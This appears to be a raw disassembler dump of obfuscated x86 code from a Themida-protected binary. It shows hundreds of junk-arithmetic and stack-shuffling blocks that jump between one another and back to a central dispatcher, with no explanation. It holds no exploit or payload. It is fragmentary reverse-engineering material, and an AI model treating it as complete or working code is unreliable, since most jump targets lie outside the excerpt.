		mov	ecx, 16ED6151h
		add	edi, ecx
		pop	ecx
		pop	ebx
		xor	edi, 54F1ECF6h
		jmp	loc_563E79
; ---------------------------------------------------------------------------


loc_551298:				; CODE XREF: Themida_:00564B85j
		add	esp, 4
		add	eax, ebx
		jmp	loc_562935
; ---------------------------------------------------------------------------


loc_5512A2:				; CODE XREF: Themida_:005642E7j
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 5CB21543h
		jmp	loc_55BE5F
; ---------------------------------------------------------------------------


loc_5512B8:				; CODE XREF: Themida_:00564F74j
		sub	ebp, eax
		pop	eax
		push	ebp
		jmp	loc_565081
; ---------------------------------------------------------------------------


loc_5512C1:				; CODE XREF: Themida_:005520C0j
		pop	esi
		jmp	loc_5542F3
; ---------------------------------------------------------------------------


loc_5512C7:				; CODE XREF: Themida_:0055087Fj
		mov	edx, 21991B8Bh
		xor	edx, 0DC2118Eh
		sub	edx, 2C5B0A01h
		jmp	loc_5640D9
; ---------------------------------------------------------------------------


loc_5512DD:				; CODE XREF: Themida_:00563D26j
		mov	eax, 2CAE51BBh
		push	0
		sub	[esp], eax
		jmp	loc_5549A7
; ---------------------------------------------------------------------------


loc_5512EF:				; CODE XREF: Themida_:0055E13Aj
		add	eax, 150877A9h
		add	eax, 0AE544Dh
		jmp	loc_552134
; ---------------------------------------------------------------------------


loc_5512FE:				; CODE XREF: Themida_:005537E9j
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_558F88
; ---------------------------------------------------------------------------


loc_551309:				; CODE XREF: Themida_:00565782j
		mov	esi, [esp]
		jmp	loc_55CAC0
; ---------------------------------------------------------------------------


loc_551311:				; CODE XREF: Themida_:00551879j
		sub	ax, bx
		jmp	loc_5650F9
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 0F1h
		jmp	loc_556B27
; ---------------------------------------------------------------------------


loc_551321:				; CODE XREF: Themida_:00556333j
		sub	esp, 4
		jmp	loc_553EDE
; ---------------------------------------------------------------------------


loc_551329:				; CODE XREF: Themida_:00553880j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55DE4F
; ---------------------------------------------------------------------------


loc_551334:				; CODE XREF: Themida_:00562B74j
		mov	ecx, 850014h
		jmp	loc_552BA8
; ---------------------------------------------------------------------------


loc_55133E:				; CODE XREF: Themida_:00564BC8j
		mov	eax, [ebx]
		push	dword ptr [esp]
		jmp	loc_55A985
; ---------------------------------------------------------------------------


loc_551348:				; CODE XREF: Themida_:0055493Aj
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55134D:				; CODE XREF: Themida_:00558165j
		mov	ebp, [esp]
		jmp	loc_55243D
; ---------------------------------------------------------------------------


loc_551355:				; CODE XREF: Themida_:00550C48j
		xor	ebp, 14F27603h
		jmp	loc_55AFB6
; ---------------------------------------------------------------------------


loc_551360:				; CODE XREF: Themida_:00553FDDj
		inc	ebx
		sub	ebx, 65686581h
		xor	ebx, 0A0C70226h
		add	edx, ebx
		pop	ebx
		push	7F20h
		mov	[esp], ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	6C43h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_55D141
; ---------------------------------------------------------------------------


loc_551392:				; CODE XREF: Themida_:0055F720j
		mov	edx, 25592533h
		add	eax, edx
		pop	edx
		pop	ebp
		push	2A9Ah
		mov	[esp], ecx
		push	ebp
		mov	ebp, 76701FD1h
		dec	ebp
		jmp	loc_565A2D
; ---------------------------------------------------------------------------


loc_5513AF:				; CODE XREF: Themida_:005586F8j
		push	ebp
		push	dword ptr [esp]
		jmp	loc_55AEBB
; ---------------------------------------------------------------------------


loc_5513B8:				; CODE XREF: Themida_:0055BA96j
		add	word ptr [esp+2], 14A1h
		push	ax
		jmp	loc_564BAD
; ---------------------------------------------------------------------------


loc_5513C6:				; CODE XREF: Themida_:00564422j
		inc	al
		or	al, 53h
		jmp	loc_56309A
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5513D7:				; CODE XREF: Themida_:005559BEj
		push	ecx
		push	edi
		mov	edi, 6C82563Fh
		mov	ecx, edi
		push	dword ptr [esp]
		jmp	loc_5518F6
; ---------------------------------------------------------------------------


loc_5513E8:				; CODE XREF: Themida_:0055B668j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_561736
; ---------------------------------------------------------------------------


loc_5513F1:				; CODE XREF: Themida_:00558118j
		mov	[esp], eax
		mov	eax, esp
		push	edi
		jmp	loc_553D4A
; ---------------------------------------------------------------------------


loc_5513FC:				; CODE XREF: Themida_:0055CA4Cj
		add	edx, 4833190Dh
		xor	edx, 70517253h
		add	edx, 320D6E49h
		add	edx, 0B71AF9B4h
		sub	ecx, edx
		pop	edx
		add	ecx, eax
		push	edx
		mov	edx, 81A5B1Dh
		add	ecx, edx
		pop	edx
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 4
		push	ecx
		mov	ecx, 343C6FD3h
		jmp	loc_552291
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	6C5Bh
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_551623
; ---------------------------------------------------------------------------


loc_551454:				; CODE XREF: Themida_:0056442Ej
		pop	esi
		add	eax, 1397464Ah
		jmp	loc_563B74
; ---------------------------------------------------------------------------


loc_55145F:				; CODE XREF: Themida_:005557C5j
		pop	edx
		push	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0F620990h
		sub	esp, 4
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		neg	edx
		sub	esp, 4
		jmp	loc_556C00
; ---------------------------------------------------------------------------


loc_551483:				; CODE XREF: Themida_:0055220Fj
		push	esp
		pop	dword ptr [esp]
		push	7EA2h
		jmp	loc_5504E6
; ---------------------------------------------------------------------------


loc_551491:				; CODE XREF: Themida_:0055EB7Bj
		mov	ecx, 67E82E50h
		add	ecx, 0BF98504Dh
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55A023
; ---------------------------------------------------------------------------


loc_5514A9:				; CODE XREF: Themida_:00553E52j
		pop	edi
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5537EE
; ---------------------------------------------------------------------------


loc_5514BA:				; CODE XREF: Themida_:0055DC48j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5514BF:				; CODE XREF: Themida_:00552D50j
		add	ebx, 49935F38h
		pop	esi
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, ecx
		jmp	loc_55EDD6
; ---------------------------------------------------------------------------


loc_5514E6:				; CODE XREF: Themida_:0055DE4Aj
		pop	eax
		jmp	loc_56189F
; ---------------------------------------------------------------------------


loc_5514EC:				; CODE XREF: Themida_:00552ADEj
		add	esp, 4
		sub	ch, ah
		push	dword ptr [esp]
		pop	eax
		push	eax
		jmp	loc_55683F
; ---------------------------------------------------------------------------


loc_5514FE:				; CODE XREF: Themida_:00554524j
		not	dl
		not	dl
		or	dl, 55h
		add	dl, 10h
		jmp	loc_55A9C3
; ---------------------------------------------------------------------------


loc_55150D:				; CODE XREF: Themida_:0055E327j
		add	eax, 3DBE2BBFh
		xor	eax, 657B55C4h
		jmp	loc_55F40A
; ---------------------------------------------------------------------------


loc_55151C:				; CODE XREF: Themida_:00561B97j
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_55B9EB
; ---------------------------------------------------------------------------


loc_551527:				; CODE XREF: Themida_:0055F214j
		add	esi, ecx
		pop	ecx
		xor	esi, 0EE6F2305h
		sub	ebp, esi
		pop	esi
		mov	esi, ebp
		pop	ebp
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_563B5A
; ---------------------------------------------------------------------------


loc_551544:				; CODE XREF: Themida_:00552601j
		xor	edx, [esp]
		pop	esp
		push	edi
		jmp	loc_553E88
; ---------------------------------------------------------------------------


loc_55154E:				; CODE XREF: Themida_:0055B6EAj
		mov	edi, 14AB181Ah
		xor	edi, 44CB4B5Eh
		mov	eax, edi
		pop	edi
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		xchg	eax, ebx
		push	edi
		push	edx
		push	eax
		jmp	loc_557824
; ---------------------------------------------------------------------------


loc_551570:				; CODE XREF: Themida_:00559138j
		push	17B7h
		mov	[esp], eax
		mov	eax, 13E95273h
		jmp	loc_555CD5
; ---------------------------------------------------------------------------


loc_551582:				; CODE XREF: Themida_:00556573j
		mov	eax, [esp]
		jmp	loc_553083
; ---------------------------------------------------------------------------


loc_55158A:				; CODE XREF: Themida_:00559E4Fj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		mov	ecx, 1EC033B2h
		push	33CAh
		mov	[esp], edx
		mov	edx, 439C5E06h
		sub	edx, 0E670792h
		xor	ecx, edx
		pop	edx
		neg	ecx
		jmp	loc_55E379
; ---------------------------------------------------------------------------


loc_5515B4:				; CODE XREF: Themida_:00553D4Fj
		add	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		sub	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_558552
; ---------------------------------------------------------------------------


loc_5515D2:				; CODE XREF: Themida_:00558406j
		mov	ebx, 65486DA1h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 26071817h
		sub	eax, 1630810h
		xor	eax, 6F274A17h
		push	edi
		mov	edi, 19BE4B90h
		and	edi, 74FC4B14h
		or	edi, 0FA66F7Eh
		sub	edi, 1
		not	edi
		add	edi, 6F40EC05h
		jmp	loc_562BC4
; ---------------------------------------------------------------------------


loc_55160E:				; CODE XREF: Themida_:00561B4Aj
		pop	ebp
		add	ebx, eax
		add	[ebx], ecx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_550DD7
; ---------------------------------------------------------------------------


loc_551623:				; CODE XREF: Themida_:0055144Fj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	59B6h
		mov	[esp], ebx
		jmp	loc_55498E
; ---------------------------------------------------------------------------


loc_551638:				; CODE XREF: Themida_:0055F3E3j
		add	ch, 58h
		sub	al, ch
		pop	cx
		add	al, bl
		push	edx
		push	12A3h
		jmp	loc_563B69
; ---------------------------------------------------------------------------


loc_55164C:				; CODE XREF: Themida_:0055A6B3j
		pop	edx
		add	ebx, 2E776209h
		push	eax
		mov	eax, 7EB73787h
		jmp	loc_5625EB
; ---------------------------------------------------------------------------


loc_55165E:				; CODE XREF: Themida_:00551A81j
		sub	dh, 53h
		add	bl, dh
		jmp	loc_56390C
; ---------------------------------------------------------------------------


loc_551668:				; CODE XREF: Themida_:00553B3Ej
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55167D:				; CODE XREF: Themida_:00562743j
		not	ebx
		add	ebx, 180942BAh
		jmp	loc_561279
; ---------------------------------------------------------------------------


loc_55168A:				; CODE XREF: Themida_:00552CDEj
		mov	[edi+eax*4+1], dh
		jmp	loc_556CE1
; ---------------------------------------------------------------------------


loc_551693:				; CODE XREF: Themida_:00558A89j
		mov	ebp, 0E90B041Bh
		sub	ecx, ebp
		jmp	loc_558C1A
; ---------------------------------------------------------------------------


loc_55169F:				; CODE XREF: Themida_:00555BF9j
		xchg	edi, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	7158h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 27A16653h
		mov	edi, 27A16657h
		sub	edi, ecx
		pop	ecx
		add	[esp+4], edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	ebp
		add	ebp, 4
		push	edi
		mov	edi, 2
		push	edi
		mov	edi, 3E0E3FB1h
		inc	edi
		or	edi, 602407D2h
		sub	edi, 9C8CA0Eh
		add	ebp, edi
		pop	edi
		jmp	loc_5526B1
; ---------------------------------------------------------------------------


loc_55170A:				; CODE XREF: Themida_:00550F91j
		mov	edx, 6AD2302h
		jmp	loc_562C2A
; ---------------------------------------------------------------------------


loc_551714:				; CODE XREF: Themida_:00563309j
		pop	ecx
		sub	esp, 2
		mov	[esp], dx
		push	ecx
		mov	cl, 9Ch
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55E5D4
; ---------------------------------------------------------------------------


loc_55172A:				; CODE XREF: Themida_:00562E97j
		add	eax, 4
		jmp	loc_563625
; ---------------------------------------------------------------------------


loc_551732:				; CODE XREF: Themida_:0055931Dj
		mov	ah, 80h
		mov	cl, 0FFh
		push	ax
		push	edx
		push	ebx
		jmp	loc_55C48D
; ---------------------------------------------------------------------------


loc_55173F:				; CODE XREF: Themida_:0055879Ej
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	2DEEh
		mov	[esp], edx
		push	esi
		jmp	loc_55EE84
; ---------------------------------------------------------------------------


loc_551758:				; CODE XREF: Themida_:00555133j
		sub	edx, 7050C95h
		sub	esp, 4
		jmp	loc_557C73
; ---------------------------------------------------------------------------


loc_551766:				; CODE XREF: Themida_:00552073j
		sub	ebx, 28FF46ACh
		jmp	loc_5528BF
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_55CFF3
; ---------------------------------------------------------------------------


loc_5517A0:				; CODE XREF: Themida_:00552C71j
		and	esi, 21E864CCh
		or	esi, 0BBA2A86h
		sub	esi, 218E583Bh
		shl	esi, 6
		sub	esi, 2FB628AEh
		sub	eax, esi
		pop	esi
		jmp	loc_55A04F
; ---------------------------------------------------------------------------


loc_5517C3:				; CODE XREF: Themida_:00551F8Ej
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_564DF3
; ---------------------------------------------------------------------------


loc_5517D1:				; CODE XREF: Themida_:0055AB73j
		push	ebx
		mov	ebx, 2D206089h
		jmp	loc_5532AD
; ---------------------------------------------------------------------------


loc_5517DC:				; CODE XREF: Themida_:005558E0j
		push	6430h
		mov	[esp], ebx
		jmp	loc_55363D
; ---------------------------------------------------------------------------


loc_5517E9:				; CODE XREF: Themida_:0056546Bj
		neg	al
		inc	al
		xor	al, 71h
		xor	al, 2Ch
		xor	cl, al
		pop	ax
		add	cl, 9Bh
		push	ebx
		mov	bh, cl
		mov	al, bh
		jmp	loc_562BBB
; ---------------------------------------------------------------------------


loc_551802:				; CODE XREF: Themida_:00554583j
		pop	esp
		push	eax
		jmp	loc_560A48
; ---------------------------------------------------------------------------


loc_551809:				; CODE XREF: Themida_:005619D2j
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_554E01
; ---------------------------------------------------------------------------


loc_55181E:				; CODE XREF: Themida_:005560B8j
		push	edx
		mov	dl, 18h
		mov	bl, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_555F1A
; ---------------------------------------------------------------------------


loc_551831:				; CODE XREF: Themida_:00554F8Aj
		not	ebp
		jmp	loc_55F1C9
; ---------------------------------------------------------------------------


loc_551838:				; CODE XREF: Themida_:00563797j
		xor	eax, 257B3A5Eh
		jmp	loc_55BC31
; ---------------------------------------------------------------------------


loc_551842:				; CODE XREF: Themida_:005637B2j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55BC39
; ---------------------------------------------------------------------------


loc_551857:				; CODE XREF: Themida_:0055B72Aj
		inc	esi
		shl	esi, 1
		or	esi, 577A3D59h
		neg	esi
		add	esi, 0FD27F673h
		sub	eax, esi
		jmp	loc_55BA9B
; ---------------------------------------------------------------------------
		lodsw
		add	ax, 3F6Dh
		sub	ax, 58B1h
		jmp	loc_551311
; ---------------------------------------------------------------------------


loc_55187E:				; CODE XREF: Themida_:00559808j
		push	dword ptr [edi+eax*4]
		push	eax
		jmp	loc_55C23A
; ---------------------------------------------------------------------------


loc_551887:				; CODE XREF: Themida_:0055E5B2j
		push	edx
		push	eax
		mov	ah, 0D2h
		mov	dh, ah
		jmp	loc_55A52D
; ---------------------------------------------------------------------------


loc_551892:				; CODE XREF: Themida_:00557FD3j
		mov	edx, 12DE6888h
		add	edx, 73FC4073h
		sub	edx, 2B573A75h
		jmp	loc_55B006
; ---------------------------------------------------------------------------


loc_5518A8:				; CODE XREF: Themida_:0055CD04j
		add	eax, ebx
		pop	ebx
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		idiv	cl
		movzx	cx, ah
		push	edx
		jmp	loc_561788
; ---------------------------------------------------------------------------


loc_5518C8:				; CODE XREF: Themida_:0055AA46j
		xor	ah, 4Fh
		xor	ah, 0AEh
		push	edx
		push	ecx
		mov	ch, ah
		mov	dh, ch
		mov	ecx, [esp]
		add	esp, 4
		mov	bh, dh
		mov	edx, [esp]
		jmp	loc_5605E7
; ---------------------------------------------------------------------------


loc_5518E4:				; CODE XREF: Themida_:00557356j
		push	3E84h
		mov	[esp], ebx
		mov	ebx, 0
		jmp	loc_55FC82
; ---------------------------------------------------------------------------


loc_5518F6:				; CODE XREF: Themida_:005513E3j
		pop	edi
		jmp	loc_56371E
; ---------------------------------------------------------------------------


loc_5518FC:				; CODE XREF: Themida_:0055908Cj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	ebx, 2C28000Ah
		sub	ebx, 7E882450h
		push	43CFh
		jmp	loc_5608C6
; ---------------------------------------------------------------------------


loc_551919:				; CODE XREF: Themida_:00555F85j
		pop	ecx
		inc	edx
		push	ebx
		mov	ebx, 5EEC4002h
		not	ebx
		not	ebx
		jmp	loc_55A790
; ---------------------------------------------------------------------------


loc_55192A:				; CODE XREF: Themida_:0055C5E9j
		push	ecx
		mov	ch, bh
		mov	dl, ch
		pop	ecx
		mov	ebx, [esp]
		jmp	loc_5538FF
; ---------------------------------------------------------------------------


loc_551938:				; CODE XREF: Themida_:00553C8Fj
		pop	dword ptr [esp]
		jmp	loc_5637A6
; ---------------------------------------------------------------------------


loc_551940:				; CODE XREF: Themida_:005639AEj
		add	ebp, 264D1577h
		pop	edx
		sub	ebp, 0C93D688Ah
		push	4062h
		mov	[esp], ebp
		jmp	loc_564369
; ---------------------------------------------------------------------------


loc_55195A:				; CODE XREF: Themida_:00551B73j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5542DB
; ---------------------------------------------------------------------------


loc_55196E:				; CODE XREF: Themida_:00551A03j
		add	ebx, 40212164h
		jmp	loc_55AF69
; ---------------------------------------------------------------------------


loc_551979:				; CODE XREF: Themida_:0055A709j
		xchg	esi, [esp]
		jmp	loc_55AB41
; ---------------------------------------------------------------------------


loc_551981:				; CODE XREF: Themida_:0055FE19j
		push	ebp
		mov	ebp, 29276B6Ch
		sub	ebp, 18EC0C1Bh
		sub	ebp, 73C32D27h
		inc	ebp
		sub	ebp, 99A3E17Eh
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, eax
		sub	ebx, 2D450ADh
		push	edi
		push	6E74h
		jmp	loc_55962F
; ---------------------------------------------------------------------------


loc_5519B8:				; CODE XREF: Themida_:0055C4AAj
		xor	dh, 0CDh
		jmp	loc_55EF0F
; ---------------------------------------------------------------------------


loc_5519C0:				; CODE XREF: Themida_:00561201j
		mov	edx, [esp]
		add	esp, 4
		push	7E80h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, ecx
		mov	ebx, edi
		jmp	loc_55E2B6
; ---------------------------------------------------------------------------


loc_5519E9:				; CODE XREF: Themida_:0055939Bj
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5519EE:				; CODE XREF: Themida_:0055D5F7j
		mov	ecx, esp
		push	eax
		jmp	loc_55EAD3
; ---------------------------------------------------------------------------


loc_5519F6:				; CODE XREF: Themida_:005563DFj
		mov	esp, [esp]
		mov	fs:[edx], al
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_551A01:				; CODE XREF: Themida_:00550AB4j
		sub	ebx, ebp
		jmp	loc_55196E
; ---------------------------------------------------------------------------


loc_551A08:				; CODE XREF: Themida_:005594C3j
		push	dword ptr [esp+4]
		jmp	loc_56417C
; ---------------------------------------------------------------------------


loc_551A11:				; CODE XREF: Themida_:005602D7j
		sub	ebp, 43673EAEh
		xor	ebp, 9BE6ED30h
		sub	esi, 41E62B83h
		add	esi, ebp
		add	esi, 41E62B83h
		mov	ebp, [esp]
		add	esp, 4
		sub	esi, 1810F874h
		mov	edi, 1E47EE45h
		push	ebp
		mov	ebp, 5BB202EEh
		add	edi, ebp
		pop	ebp
		jmp	loc_5545B3
; ---------------------------------------------------------------------------


loc_551A4A:				; CODE XREF: Themida_:00553191j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_5504BE
; ---------------------------------------------------------------------------


loc_551A69:				; CODE XREF: Themida_:00564182j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_551A78:				; CODE XREF: Themida_:0055B882j
		xor	dh, al
		pop	ax
		sub	dh, 0CFh
		dec	dh
		jmp	loc_55165E
; ---------------------------------------------------------------------------


loc_551A86:				; CODE XREF: Themida_:00550A99j
		mov	eax, ecx
		pop	ecx
		shl	eax, 4
		or	eax, 7B873ACAh
		push	edx
		mov	edx, 37AF21ABh
		or	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_55FF02
; ---------------------------------------------------------------------------


loc_551AA8:				; CODE XREF: Themida_:00557E69j
		sub	ebx, ebp
		mov	ebp, ebx
		pop	ebx
		and	ebp, 5B567E58h
		xor	ebp, 37FF38C6h
		add	ebx, ebp
		pop	ebp
		dec	ebx
		push	esi
		mov	esi, 0B0E4FF1h
		and	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_563426
; ---------------------------------------------------------------------------


loc_551AD0:				; CODE XREF: Themida_:005566FEj
		pop	ebx
		xchg	ebx, ebp
		xchg	ebp, [esp]
		jmp	loc_560B20
; ---------------------------------------------------------------------------


loc_551ADB:				; CODE XREF: Themida_:005566DFj
		push	eax
		mov	eax, 4D2250F1h
		inc	eax
		not	eax
		xor	eax, 0DF04F59Eh
		mov	ebp, eax
		pop	eax
		mov	esi, ebp
		pop	ebp
		or	esi, 426D4196h
		dec	esi
		push	ebp
		push	eax
		jmp	loc_55AD27
; ---------------------------------------------------------------------------


loc_551AFD:				; CODE XREF: Themida_:0055DAE1j
		xor	dx, 6F4Fh
		push	ecx
		mov	cx, 12F0h
		inc	cx
		jmp	loc_5624A2
; ---------------------------------------------------------------------------


loc_551B0E:				; CODE XREF: Themida_:00550D6Fj
		and	edx, 26E14B57h
		or	edx, 67AC36E3h
		jmp	loc_553D07
; ---------------------------------------------------------------------------


loc_551B1F:				; CODE XREF: Themida_:005590F5j
		mov	esi, 37980DB8h
		jmp	loc_562A53
; ---------------------------------------------------------------------------


loc_551B29:				; CODE XREF: Themida_:0056311Fj
		mov	edi, [esp]
		jmp	loc_552BDC
; ---------------------------------------------------------------------------


loc_551B31:				; CODE XREF: Themida_:0055FA17j
		sub	ch, 0Dh
		xor	ch, 88h
		xor	ch, 4
		add	al, ch
		pop	ecx
		add	al, dl
		sub	al, 7Fh
		push	edx
		mov	dh, 0ECh
		jmp	loc_55A4B5
; ---------------------------------------------------------------------------


loc_551B49:				; CODE XREF: Themida_:005573CDj
		mov	[esp], esi
		jmp	loc_55FF64
; ---------------------------------------------------------------------------


loc_551B51:				; CODE XREF: Themida_:00550949j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_557466
; ---------------------------------------------------------------------------


loc_551B5A:				; CODE XREF: Themida_:005572FFj
		mov	edx, [esp]
		add	esp, 4
		add	eax, esi
		jmp	loc_557127
; ---------------------------------------------------------------------------


loc_551B67:				; CODE XREF: Themida_:00564776j
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_55EE97
; ---------------------------------------------------------------------------


loc_551B70:				; CODE XREF: Themida_:0055CF9Cj
		add	esp, 4
		jmp	loc_55195A
; ---------------------------------------------------------------------------


loc_551B78:				; CODE XREF: Themida_:0055719Cj
		mov	edi, 5FDD2D5Dh
		jmp	loc_55AE0E
; ---------------------------------------------------------------------------


loc_551B82:				; CODE XREF: Themida_:00555BE6j
		mov	eax, esp
		jmp	loc_558FBC
; ---------------------------------------------------------------------------


loc_551B89:				; CODE XREF: Themida_:0055BC2Cj
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5585B6
; ---------------------------------------------------------------------------


loc_551B9D:				; CODE XREF: Themida_:00563FC7j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_550FE7
; ---------------------------------------------------------------------------


loc_551BAB:				; CODE XREF: Themida_:0055D2C2j
		neg	ebp
		xchg	eax, ebp
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		jmp	loc_559A20
; ---------------------------------------------------------------------------


loc_551BB7:				; CODE XREF: Themida_:0056191Fj
		push	esi
		jmp	loc_554921
; ---------------------------------------------------------------------------


loc_551BBD:				; CODE XREF: Themida_:0055709Cj
		add	ecx, 0F7E0A42Dh
		and	edi, ecx
		pop	ecx
		jmp	loc_5594FF
; ---------------------------------------------------------------------------


loc_551BCB:				; CODE XREF: Themida_:0055BD7Cj
		pop	eax
		add	bl, al
		add	bl, 0F6h
		add	bl, 0EAh
		movzx	eax, al
		jmp	loc_558799
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	ecx
		mov	ecx, 183E004Ah
		shr	ecx, 5
		jmp	loc_55D90F
; ---------------------------------------------------------------------------


loc_551BED:				; CODE XREF: Themida_:00556657j
		xchg	ebx, ebp
		push	esi
		push	eax
		push	11752EB5h
		pop	eax
		mov	esi, eax
		jmp	loc_5551C6
; ---------------------------------------------------------------------------


loc_551BFE:				; CODE XREF: Themida_:00559FFAj
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		jmp	loc_55831E
; ---------------------------------------------------------------------------


loc_551C0A:				; CODE XREF: Themida_:00560614j
		push	6889h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_551016
; ---------------------------------------------------------------------------


loc_551C1E:				; CODE XREF: Themida_:00553AF1j
		sub	bl, ch
		jmp	loc_5553B0
; ---------------------------------------------------------------------------


loc_551C25:				; CODE XREF: Themida_:005596CBj
		mov	ax, [esp]
		push	eax
		push	5AC7h
		push	esp
		jmp	loc_564A89
; ---------------------------------------------------------------------------


loc_551C35:				; CODE XREF: Themida_:0055DA82j
		xchg	edx, [esp]
		jmp	loc_55DBE0
; ---------------------------------------------------------------------------


loc_551C3D:				; CODE XREF: Themida_:0055BD09j
		push	esi
		mov	esi, 0A4C336Eh
		inc	esi
		xor	esi, 78FD233Fh
		neg	esi
		jmp	loc_55E1A6
; ---------------------------------------------------------------------------


loc_551C51:				; CODE XREF: Themida_:00561404j
		pop	esi
		jmp	loc_55C7F1
; ---------------------------------------------------------------------------


loc_551C57:				; CODE XREF: Themida_:0055FAAAj
		sub	edx, 1
		shl	edx, 6
		shl	edx, 8
		add	edx, 18263972h
		xor	edx, 0F5CF872h
		and	eax, edx
		pop	edx
		shr	eax, 8
		xor	eax, ecx
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_553D54
; ---------------------------------------------------------------------------


loc_551C7F:				; CODE XREF: Themida_:00553B99j
		push	edx
		push	esp
		pop	edx
		push	26F9h
		mov	[esp], ebx
		mov	ebx, 704E543Dh
		sub	ebx, 704E5439h
		jmp	loc_55EBDD
; ---------------------------------------------------------------------------


loc_551C9A:				; CODE XREF: Themida_:00554E28j
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		jmp	loc_563AAC
; ---------------------------------------------------------------------------


loc_551CA7:				; CODE XREF: Themida_:00555F6Cj
		push	ecx
		mov	ecx, 4
		jmp	loc_55FCCB
; ---------------------------------------------------------------------------


loc_551CB2:				; CODE XREF: Themida_:00552593j
		sub	esp, 4
		jmp	loc_559BDA
; ---------------------------------------------------------------------------


loc_551CBA:				; CODE XREF: Themida_:005546B3j
		mov	al, 0BAh
		sub	al, dh
		pop	edx
		xor	al, 0C7h
		jmp	loc_55C9A9
; ---------------------------------------------------------------------------


loc_551CC6:				; CODE XREF: Themida_:00552636j
		xor	edi, 0B4DAD817h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55FEA6
; ---------------------------------------------------------------------------


loc_551CD7:				; CODE XREF: Themida_:00551DDAj
		add	edi, 26E764BFh
		jmp	loc_558F3D
; ---------------------------------------------------------------------------


loc_551CE2:				; CODE XREF: Themida_:0055362Dj
		add	edi, 4701749Eh
		inc	edi
		jmp	loc_55F855
